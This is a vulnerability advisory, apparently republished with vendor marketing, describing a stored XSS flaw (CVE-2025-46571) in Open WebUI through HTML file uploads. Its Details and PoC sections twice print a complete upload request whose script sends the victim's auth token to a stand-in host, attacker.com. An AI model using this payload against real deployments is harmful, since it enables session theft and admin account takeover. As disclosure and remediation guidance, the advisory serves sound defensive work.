Summary
Open WebUI allows limited stored XSS vila uploaded html file
Full technical description
Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.
Details
The following HTTP request can be sent to the backend server to upload a file with the contents:<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.
The backend server responds to the above request with JSON data that contains an id parameter.
This ID can be used to view the uploaded file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.
PoC
First, upload an html containing JavaScript code to the backend server using the following HTTP request:
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Then copy the id from the response and use it to view the file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Impact
Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-46571? CVE-2025-46571 is a medium-severity cross-site scripting (XSS) vulnerability in open-webui (pip), affecting versions < 0.6.6. It is fixed in 0.6.6. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of open-webui are affected by CVE-2025-46571? open-webui (pip) versions < 0.6.6 is affected.
- Is there a fix for CVE-2025-46571? Yes. CVE-2025-46571 is fixed in 0.6.6. Upgrade to this version or later.
- Is CVE-2025-46571 exploitable, and should I be worried? Whether CVE-2025-46571 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-46571 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-46571? Upgrade
open-webuito 0.6.6 or later.